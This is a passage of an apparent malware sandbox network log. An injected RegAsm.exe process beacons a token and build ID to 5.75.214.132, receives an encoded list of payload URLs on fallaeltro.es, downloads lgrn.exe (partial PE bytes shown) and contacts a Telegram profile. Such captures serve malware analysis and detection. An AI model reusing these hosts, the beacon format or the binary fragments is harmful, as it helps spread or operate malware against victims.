62 2f 41 4a 2b 49 76 2b 2b 78 51 74 4e 76 36 73 42 52 74 66 44 32 6d 32 4e 32 4c 6d 32 69 6c 6a 59 4d 7a 72 47 4c 69 54 79 6c 5a 73 35 4b 78 37 74 69 6b 35 50 51 64 7a Data Ascii: KoVQAoGAAOBS1D9rtv+fiL/vsUfa7b/n4i/77FAE1VZLKH7a2oJCrXogMKszkArndtPUDnvgmpPtdt/z8Rf8AfYo+123/AD8Rf99igDFs9Cmj07WGmW2jv9ULtIIiSiZXaq7sAkDqTgcseKm0fw1YaUtrKsTG6hg8oEzyOkeQN3lqxwgJH8IFan2u2/5+Iv8AvsUfa7b/AJ+Iv++xQtNv6sBRtfD2m2N2Lm2iljYMzrGLiTylZs5Kx7tik5PQdz
2024-09-11 14:23:32 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 11 Sep 2024 14:23:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-09-11 14:23:32 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.4	63436	5.75.214.132	443	4476	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-11 14:23:33 UTC	324	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----BFIJEHCBAKFCAKFHCGDG User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0 Host: 5.75.214.132 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-09-11 14:23:33 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 42 46 49 4a 45 48 43 42 41 4b 46 43 41 4b 46 48 43 47 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 65 34 33 65 35 35 36 35 65 63 33 65 36 62 66 35 32 62 64 38 61 65 65 39 38 31 62 36 63 37 32 0d 0a 2d 2d 2d 2d 2d 2d 42 46 49 4a 45 48 43 42 41 4b 46 43 41 4b 46 48 43 47 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 30 32 32 34 30 31 35 38 62 63 37 65 30 30 33 62 38 61 64 34 65 37 30 39 39 31 36 63 33 36 37 65 0d 0a 2d 2d 2d 2d 2d 2d 42 46 49 4a 45 48 43 42 41 4b 46 43 41 4b 46 48 43 47 44 47 0d 0a 43 6f 6e 74 Data Ascii: ------BFIJEHCBAKFCAKFHCGDGContent-Disposition: form-data; name="token"ee43e5565ec3e6bf52bd8aee981b6c72------BFIJEHCBAKFCAKFHCGDGContent-Disposition: form-data; name="build_id"02240158bc7e003b8ad4e709916c367e------BFIJEHCBAKFCAKFHCGDGCont
2024-09-11 14:23:34 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 11 Sep 2024 14:23:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-09-11 14:23:34 UTC	135	IN	Data Raw: 37 63 0d 0a 4d 54 41 35 4d 44 51 35 4e 58 78 6f 64 48 52 77 63 7a 6f 76 4c 32 5a 68 62 47 78 68 5a 57 78 30 63 6d 38 75 5a 58 4d 76 64 6d 68 30 63 6e 63 75 5a 58 68 6c 66 44 46 38 61 32 74 72 61 33 77 78 4d 44 6b 77 4e 44 6b 32 66 47 68 30 64 48 42 7a 4f 69 38 76 5a 6d 46 73 62 47 46 6c 62 48 52 79 62 79 35 6c 63 79 39 73 5a 33 4a 75 4c 6d 56 34 5a 58 77 78 66 47 74 72 61 32 74 38 0d 0a 30 0d 0a 0d 0a Data Ascii: 7cMTA5MDQ5NXxodHRwczovL2ZhbGxhZWx0cm8uZXMvdmh0cncuZXhlfDF8a2tra3wxMDkwNDk2fGh0dHBzOi8vZmFsbGFlbHRyby5lcy9sZ3JuLmV4ZXwxfGtra2t80

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.4	63437	5.75.214.132	443	4476	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-11 14:23:36 UTC	324	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----AAFBAKECAEGCBFIEGDGI User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0 Host: 5.75.214.132 Content-Length: 499 Connection: Keep-Alive Cache-Control: no-cache
2024-09-11 14:23:36 UTC	499	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 41 41 46 42 41 4b 45 43 41 45 47 43 42 46 49 45 47 44 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 65 34 33 65 35 35 36 35 65 63 33 65 36 62 66 35 32 62 64 38 61 65 65 39 38 31 62 36 63 37 32 0d 0a 2d 2d 2d 2d 2d 2d 41 41 46 42 41 4b 45 43 41 45 47 43 42 46 49 45 47 44 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 30 32 32 34 30 31 35 38 62 63 37 65 30 30 33 62 38 61 64 34 65 37 30 39 39 31 36 63 33 36 37 65 0d 0a 2d 2d 2d 2d 2d 2d 41 41 46 42 41 4b 45 43 41 45 47 43 42 46 49 45 47 44 47 49 0d 0a 43 6f 6e 74 Data Ascii: ------AAFBAKECAEGCBFIEGDGIContent-Disposition: form-data; name="token"ee43e5565ec3e6bf52bd8aee981b6c72------AAFBAKECAEGCBFIEGDGIContent-Disposition: form-data; name="build_id"02240158bc7e003b8ad4e709916c367e------AAFBAKECAEGCBFIEGDGICont
2024-09-11 14:23:37 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 11 Sep 2024 14:23:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-09-11 14:23:37 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.4	63438	37.153.95.99	443	4476	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-11 14:23:39 UTC	217	OUT	GET /lgrn.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0 Host: fallaeltro.es Cache-Control: no-cache
2024-09-11 14:23:39 UTC	223	IN	HTTP/1.1 200 OK Date: Wed, 11 Sep 2024 14:23:39 GMT Server: Apache Last-Modified: Wed, 11 Sep 2024 05:24:00 GMT Accept-Ranges: bytes Content-Length: 328744 Connection: close Content-Type: application/x-msdownload
2024-09-11 14:23:39 UTC	7969	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 28 29 e1 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0b 00 00 d4 04 00 00 08 00 00 00 00 00 00 5e f3 04 00 00 20 00 00 00 00 05 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 05 00 00 02 00 00 00 00 00 00 03 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL()f^ @ @`
2024-09-11 14:23:39 UTC	8000	IN	Data Raw: 31 a8 d2 e9 06 b3 f7 03 08 7d dc 71 42 9d 73 d7 eb 42 2f f1 81 89 7f 07 11 ec 5c 25 3a 9b de 62 27 7b e9 8a ff 42 c6 1a f5 26 57 ac 3f 44 ba 6c f9 5d 73 4b 93 a1 17 74 cd f2 14 ec d2 3b d0 cf 6e b2 88 2c f8 66 cd 21 28 82 60 51 70 61 74 6a cc 09 7f a4 d8 33 23 31 8b b0 b1 ed 79 fa ff 72 b0 e6 d4 2a 45 56 4c 40 ea 71 91 da cf 8a bc bd 0f ee cc 7f 4e af ec f5 97 e8 46 17 b4 06 73 b6 4f e7 85 fc 1d 53 de e4 d8 f3 90 23 12 b5 8a 72 a6 54 3e 7b 36 42 5b da 71 77 71 3e 1a 15 0e 51 90 b2 17 5f b3 71 5a 47 68 40 e3 da b6 a8 27 cc 31 a9 5e 8a 7e 83 a0 f7 83 a6 61 35 39 d2 76 5a 8e 75 f8 9e f9 20 69 37 34 8d 88 6d 72 2f d2 f6 92 03 00 5e 27 54 44 92 09 29 1f 9e 8f 72 60 71 ae 3a 2d 0c e1 5c da a0 69 d3 85 34 34 69 dc 00 96 37 78 cc 3b 46 08 dc a4 10 fb 21 cb 76 85 Data Ascii: 1}qBsB/\%:b'{B&W?Dl]sKt;n,f!(`Qpatj3#1yr*EVL@qNFsOS#rT>{6B[qwq>Q_qZGh@'1^~a59vZu i74mr/^'TD)r`q:-\i44i7x;F!v
2024-09-11 14:23:39 UTC	8000	IN	Data Raw: 28 0d 0e c5 f0 ae fe a5 d8 8a db 73 4e 29 ee 91 4f 6c a6 14 42 ef 08 23 59 1f b7 7f 7a c0 53 85 1a 2d fe 37 63 a6 32 ba 98 6f e2 0e 4d 21 a6 b6 5e f1 e6 9c 61 4c d9 c3 0d 0c 9a 6b 31 80 20 00 4a d2 47 d5 49 18 a6 2b fa f6 ef 6a 2e b4 6c e4 0a 30 1a c8 bf a7 74 d6 ea 22 4d 9d 25 d7 57 50 00 9e bb 83 bb 82 af 82 57 b1 b4 e3 58 78 b0 34 20 74 4b 30 1a a8 ca 69 89 ec e2 4a 53 42 e8 0f e9 74 58 e8 69 25 1b a2 9e e1 38 9c 43 81 79 b0 2b 62 a0 22 5b f7 ab 96 54 d9 98 b6 e6 81 b6 40 e1 88 44 d9 fc 96 73 e7 64 ee 9e 1b 7e e0 d8 a8 d8 8e e5 2f 83 09 19 8e d1 4e dd c4 b9 52 55 0a 5d 5c 01 b4 79 bc 5c 44 58 f7 d2 2e 87 f7 98 b6 5f da a3 6c 55 9c c2 e7 ff d3 84 e1 df 53 c9 76 6b 1e 98 9a 23 06 03 7d a5 5f 88 ed 33 ee 15 5e c1 dc 84 5f 9c b4 45 a8 7f 50 e2 96 2d c3 4b Data Ascii: (sN)OlB#YzS-7c2oM!^aLk1 JGI+j.l0t"M%WPWXx4 tK0iJSBtXi%8Cy+b"[T@Dsd~/NRU]\y\DX._lUSvk#}_3^_EP-K
2024-09-11 14:23:39 UTC	8000	IN	Data Raw: 1b 25 29 6c 7a e8 7e 55 12 84 c7 e4 19 23 f3 db 05 c2 17 7d c6 82 bb 46 b1 e2 43 75 80 f5 af 91 7a d7 11 50 2e bf 63 78 ac e0 04 4a 7e ad 26 20 fe 6a df b6 5c 8e c5 df ad 87 3e 79 5b 43 d4 3e 20 87 81 6f c2 ec 92 b6 ed e3 30 e9 88 cd b4 ac ab 59 40 18 cd 3e 55 a7 5d 0b 7f 99 02 3f b9 fe 36 60 58 60 b2 8b 28 17 53 9e 67 1e bc 78 60 53 9a c1 a5 6b ad 24 90 12 2d 99 bd a1 26 bc d8 ce 38 f6 d8 73 bb c1 72 67 4d 2a 4f 7d 49 4a 87 ec db ab b9 21 a5 db 9a af 03 21 6a 81 91 d3 b8 c7 25 72 81 07 d0 75 ca 07 ed dc 03 ba 68 c6 b0 f7 d8 f0 c0 c7 a0 66 a2 7a 69 50 60 48 67 b4 3e 6d 0e 37 1b 3d 91 14 21 ba fc c0 17 eb 72 e9 f4 45 08 10 de ed 0d 14 12 c7 32 cd c6 46 79 73 49 f8 c5 f8 22 3d 1d ff 50 72 fa ee ac 75 cd 38 b0 43 f6 84 40 a7 84 6d bc be 8c 39 6b c2 4f d5 5b Data Ascii: %)lz~U#}FCuzP.cxJ~& j\>y[C> o0Y@>U]?6`X`(Sgx`Sk$-&8srgM*O}IJ!!j%ruhfziP`Hg>m7=!rE2FysI"=Pru8C@m9kO[
2024-09-11 14:23:39 UTC	8000	IN	Data Raw: 6d b7 5c c1 b8 40 f2 f9 63 bc d4 6e 1e 98 35 fe 42 d3 c1 4c f1 0b dd 05 67 89 70 b0 57 bd 6f 14 86 a1 ac 0c 9f 13 37 c4 92 ca c7 bb 43 ad f2 1e 1a 79 9a f9 5b 50 eb 2b 7f 1e 32 b0 08 59 af b6 60 d8 b1 42 1a d4 ef 0c 0c 92 a4 4f 71 5f a5 12 32 95 d0 3f ca 36 18 9c 8c 42 e7 5b c4 18 a8 99 20 c4 a8 97 11 23 f4 fa 50 76 0d 35 41 7f d5 36 10 58 61 56 18 d7 4e 0d 15 00 9a 0d 5c 70 af 6a 0b 5a 16 6d 7c d1 b0 6f 37 d8 cb 42 26 26 c0 b0 fc 47 3d ef 07 5d 13 7d 75 65 e8 fb a3 e7 84 55 ca 52 19 7c f4 90 cc 16 b0 31 b6 e6 6c e0 d2 a5 fe e3 84 97 91 f4 f9 15 2e c8 b9 10 6a ec 6d c9 81 de c6 19 90 e7 c1 a2 81 e1 fe b1 cf 18 10 f9 7b 1d 39 16 e5 a7 f5 a4 28 9f b1 5e 9a 46 73 bd 20 3a 38 b8 78 77 fc 27 ad 64 e4 de 71 1c 5e c3 39 0d 59 a4 11 63 46 65 8c a7 cd 3c 9b 4d d4 Data Ascii: m\@cn5BLgpWo7Cy[P+2Y`BOq_2?6B[ #Pv5A6XaVN\pjZm\|o7B&&G=]}ueUR\|1l.jm{9(^Fs :8xw'dq^9YcFe<M
2024-09-11 14:23:40 UTC	8000	IN	Data Raw: 8a b5 76 95 a8 a7 e4 2e 99 ff 1e 7f db b8 98 28 20 98 58 dd 87 4d 3b e4 ab e4 b4 26 4e fb f0 24 0d 66 cb 45 28 31 b8 df 44 97 62 69 bf 6c fb 98 9f dd 7d 9d cc db e6 87 7e 62 c5 c7 48 54 41 c3 7b 4b 01 27 93 da 37 3d a9 b6 10 86 0c a2 87 56 52 6b a2 76 cf b1 2e 3a d1 03 7f a1 f2 7e cd 27 3b 7e 3e 0f 4d c9 c1 47 06 9f e0 55 04 10 2e 70 e9 e8 d6 cc 83 32 2d 8c 99 ab 0a 0f c1 29 41 85 99 36 a2 2b a4 69 2d d8 83 1f ee f4 2d 97 b0 67 39 fb 4a 97 2c 55 cc e5 11 f3 0a dc 2d 0c 48 13 11 2f 9e 00 6f 45 e4 61 a9 cb 38 e1 ed dd 5f bd 8b e9 5d 96 5b 66 2b c0 97 a2 e3 9a 71 85 07 f3 15 c9 79 7c 7d 43 12 72 c9 be 5e b7 dc 29 8c 33 b0 c8 60 68 08 c2 47 bd 51 cd 3d 4e 17 4b 7a 6c e3 64 5e c8 fc 8a d8 c0 6b 8c e2 49 24 0e f8 9e 01 e6 09 23 f0 cc bf a8 97 65 a8 f7 00 8e 64 Data Ascii: v.( XM;&N$fE(1Dbil}~bHTA{K'7=VRkv.:~';~>MGU.p2-)A6+i--g9J,U-H/oEa8_][f+qy\|}Cr^)3`hGQ=NKzld^kI$#ed
2024-09-11 14:23:40 UTC	8000	IN	Data Raw: 04 62 5f 9d 7b 23 30 b9 af cc f7 ff a4 23 c4 bc 78 18 62 79 d0 e1 cd 28 93 b4 8d eb bc 35 46 35 b7 42 68 77 f1 c6 46 39 7b 8a 9b 85 95 b2 2e 56 89 3d 2a 07 2c 35 26 01 c1 33 17 51 0a b4 b3 37 88 7c 15 7c 6b 7d d1 e7 2a 97 f0 bb 62 7c 4e 75 cb c1 70 f7 f5 c6 94 08 c6 01 e5 f6 00 5d 00 7d 2c 29 98 16 43 e6 8f 90 7c 23 21 fe e4 cf 2e ee 0e 15 d8 76 34 45 b6 34 4b 93 15 ba 89 2e 41 c7 a9 4b ca 02 65 f0 78 e3 b2 ec 95 2b 9e 9c fe 54 99 f3 dd e3 ce 59 d5 da 3c 3e 3d ac 1a d7 b9 57 3e 5f 53 8d 90 b4 10 d3 91 db 5f 8b 61 56 14 a3 06 e2 b5 00 ba 78 fe c3 2b b5 2d c5 db 79 e4 10 20 3e ea 1a a2 13 ee 12 29 87 64 50 88 d5 29 2c c1 7e 92 af 2e ba 0d 1d 40 e0 fa 01 df a8 18 b9 4f ff 09 a9 5c 9b de 3b ad 18 23 08 c8 20 19 cc d4 9e be 0f 06 e0 70 c4 0b fb 47 93 78 f9 f1 Data Ascii: b_{#0#xby(5F5BhwF9{.V=,5&3Q7\|\|k}b\|Nup]},)C\|#!.v4E4K.AKex+TY<>=W>_S_aVx+-y >)dP),~.@O\;# pGx
2024-09-11 14:23:40 UTC	8000	IN	Data Raw: ae 46 f2 15 41 2a b1 37 7c 50 28 dd 54 11 64 d7 b8 b0 8c 78 d8 f5 19 43 0f a4 bb 91 db 9d 54 0c a1 60 a6 fd df 9e f9 e4 72 30 fd 86 39 05 6e cd bd 49 c7 69 9e d2 b2 dd 08 09 cd 07 fd 67 5c 5a f3 9f c3 de d4 f5 41 dd 92 68 85 8e bd 18 1b 75 9a 32 87 de 63 e9 f2 af 36 ec ac 4a 5b 7e 70 ce 13 26 e5 14 97 0c 00 78 02 c9 bb 26 7f 74 cf 1d 8a ac e1 04 af b8 2d 1e 2f 23 de ee 04 23 9c 3e e3 24 d2 1b 2d fb 1e c7 fb 53 45 18 44 2e 9c a4 13 a4 7a 8f 86 22 95 ba 66 8e 1f ca 7d 3e 8d 01 70 9a 79 cd 18 96 4f f8 fe a6 08 64 49 32 79 eb e8 c2 d0 ea b4 58 1b b2 75 34 aa 73 bc 1b a1 b9 2e a1 5e 13 9b 80 2f 59 a7 a7 2b 98 d0 c2 fd 7b a8 40 06 06 c6 41 09 33 72 81 39 82 96 06 85 da 98 e2 a9 8b be 73 ff 6c 83 81 9d 77 75 43 4a 22 97 05 55 3e c6 c9 ba 81 70 33 21 f9 9f bb 05 Data Ascii: FA*7\|P(TdxCT`r09nIig\ZAhu2c6J[~p&x&t-/##>$-SED.z"f}>pyOdI2yXu4s.^/Y+{@A3r9slwuCJ"U>p3!
2024-09-11 14:23:40 UTC	8000	IN	Data Raw: 5c 0b d9 50 00 a2 5d e4 a1 0b 82 2f e9 09 23 87 d9 98 87 8c a0 af bc e1 c0 20 3d 51 9e 99 1b 87 75 a8 96 c0 3d bd 37 2d fd a0 58 f5 6a 81 e2 14 f0 01 f7 31 76 d5 c3 ae 13 6d d6 a0 03 88 46 29 c4 e1 74 bc 35 e6 a8 da 35 77 ae 47 11 1e 99 58 69 62 c6 df 69 b7 85 a8 3a a0 c0 d8 85 cf 18 ec a2 4a 13 e0 78 8b 49 97 2e cb 02 ac 77 ba df 8c c2 1e 1e 7a 66 40 a9 ea 6d e5 92 d2 a7 97 bd 9d 37 16 1b 72 39 41 43 5c 8f 07 6b 94 1f 22 8b 17 06 56 c3 b9 e2 7a 8e ec 8a 6d ea 58 7c 40 d8 80 21 79 e8 bb 36 06 39 09 67 65 76 4b c8 36 22 bc 8c 71 97 77 89 86 0a 5c 8e 9c d2 19 66 38 49 05 45 6e 22 b8 51 b7 91 67 1d 16 90 1d ac f7 80 53 5e 09 51 d1 91 c2 24 cb 30 0d fa ac d1 03 85 0a 74 45 68 be 67 28 0c ac 8f 97 84 6c b7 56 c3 b8 e1 84 13 0f 8b 37 e7 ae 8c ae d8 c1 78 f5 ee Data Ascii: \P]/# =Qu=7-Xj1vmF)t55wGXibi:JxI.wzf@m7r9AC\k"VzmX\|@!y69gevK6"qw\f8IEn"QgS^Q$0tEhg(lV7x
2024-09-11 14:23:40 UTC	8000	IN	Data Raw: fa 07 e4 e9 11 bb 71 48 78 34 65 ae 69 5e b7 15 94 09 03 45 fc cd 97 4f 60 68 e9 3b a3 e8 c3 63 3e 8f 32 9e e2 c1 3b be dd a1 2e dd 25 0c f5 7e 0c 59 2d 6b 52 50 40 27 71 6a ce 64 2d 03 02 7c 73 63 31 a3 5c 26 d8 10 2c 17 43 df 5f ed 33 29 b8 9d dc b0 0d c5 9e 9f 3c 4d 0c 26 ad ed 89 5c 4b 54 15 ec 0e 14 4d 0d 12 32 e6 8d 9b 11 f0 b6 62 3e f3 f9 5e 41 88 22 4a 62 62 8f 63 2c 43 9a 81 f8 6e dc 4e b4 b7 fe 14 c6 76 44 42 9a 67 d4 7b 9d 99 73 95 31 a6 3b 8a 84 d5 2e 80 2b 21 c7 42 c5 21 05 a0 b7 67 b8 2c 8e f7 3d 0f 66 ea 99 d2 ff c9 4e f1 0a f9 c9 72 fb e3 9a 40 ab 30 e9 db f9 94 9c 63 86 a1 59 c5 12 e2 b2 a5 6c 20 92 c0 d3 71 6d ae 78 a8 47 f0 49 6a 86 d3 2a 27 40 e2 fa f1 61 37 8c 0b 06 bb 97 17 32 c6 ec 3a 06 ad 6d 90 65 fe 1b 4a 3f 80 7b 08 ed 91 19 36 Data Ascii: qHx4ei^EO`h;c>2;.%~Y-kRP@'qjd-\|sc1\&,C_3)<M&\KTM2b>^A"Jbbc,CnNvDBg{s1;.+!B!g,=fNr@0cYl qmxGIj*'@a72:meJ?{6

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.4	63439	5.75.214.132	443	4476	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-11 14:23:41 UTC	324	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----EBGCFBGCBFHJECBGDAKK User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0 Host: 5.75.214.132 Content-Length: 499 Connection: Keep-Alive Cache-Control: no-cache
2024-09-11 14:23:41 UTC	499	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 45 42 47 43 46 42 47 43 42 46 48 4a 45 43 42 47 44 41 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 65 34 33 65 35 35 36 35 65 63 33 65 36 62 66 35 32 62 64 38 61 65 65 39 38 31 62 36 63 37 32 0d 0a 2d 2d 2d 2d 2d 2d 45 42 47 43 46 42 47 43 42 46 48 4a 45 43 42 47 44 41 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 30 32 32 34 30 31 35 38 62 63 37 65 30 30 33 62 38 61 64 34 65 37 30 39 39 31 36 63 33 36 37 65 0d 0a 2d 2d 2d 2d 2d 2d 45 42 47 43 46 42 47 43 42 46 48 4a 45 43 42 47 44 41 4b 4b 0d 0a 43 6f 6e 74 Data Ascii: ------EBGCFBGCBFHJECBGDAKKContent-Disposition: form-data; name="token"ee43e5565ec3e6bf52bd8aee981b6c72------EBGCFBGCBFHJECBGDAKKContent-Disposition: form-data; name="build_id"02240158bc7e003b8ad4e709916c367e------EBGCFBGCBFHJECBGDAKKCont
2024-09-11 14:23:42 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 11 Sep 2024 14:23:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-09-11 14:23:42 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.4	63440	5.75.214.132	443	4476	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-11 14:23:43 UTC	324	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----HDAAAAFIIJDBGDGCGDAK User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0 Host: 5.75.214.132 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-09-11 14:23:43 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 48 44 41 41 41 41 46 49 49 4a 44 42 47 44 47 43 47 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 65 34 33 65 35 35 36 35 65 63 33 65 36 62 66 35 32 62 64 38 61 65 65 39 38 31 62 36 63 37 32 0d 0a 2d 2d 2d 2d 2d 2d 48 44 41 41 41 41 46 49 49 4a 44 42 47 44 47 43 47 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 30 32 32 34 30 31 35 38 62 63 37 65 30 30 33 62 38 61 64 34 65 37 30 39 39 31 36 63 33 36 37 65 0d 0a 2d 2d 2d 2d 2d 2d 48 44 41 41 41 41 46 49 49 4a 44 42 47 44 47 43 47 44 41 4b 0d 0a 43 6f 6e 74 Data Ascii: ------HDAAAAFIIJDBGDGCGDAKContent-Disposition: form-data; name="token"ee43e5565ec3e6bf52bd8aee981b6c72------HDAAAAFIIJDBGDGCGDAKContent-Disposition: form-data; name="build_id"02240158bc7e003b8ad4e709916c367e------HDAAAAFIIJDBGDGCGDAKCont
2024-09-11 14:23:44 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 11 Sep 2024 14:23:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-09-11 14:23:44 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.4	63446	149.154.167.99	443	5684	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-11 14:23:49 UTC	143	OUT	GET /edm0d HTTP/1.1 Host: t.me Connection: Keep-Alive Cache-Control: no-cache Cookie: stel_ssid=6ce43228477eb2573b_11654436568239867088
2024-09-11 14:23:50 UTC	369	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Wed, 11 Sep 2024 14:23:50 GMT Content-Type: text/html; charset=utf-8 Content-Length: 12283 Connection: close Pragma: no-cache Cache-control: no-store X-Frame-Options: ALLOW-FROM https://web.telegram.org Content-Security-Policy: frame-ancestors https://web.telegram.org Strict-Transport-Security: max-age=35768000
2024-09-11 14:23:50 UTC	12283	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 54 65 6c 65 67 72 61 6d 3a 20 43 6f 6e 74 61 63 74 20 40 65 64 6d 30 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 3e 74 72 79 7b 69 66 28 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 21 3d 6e 75 6c 6c 26 26 77 69 6e 64 6f 77 21 3d 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 29 7b 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 2e Data Ascii: <!DOCTYPE html><html> <head> <meta charset="utf-8"> <title>Telegram: Contact @edm0d</title> <meta name="viewport" content="width=device-width, 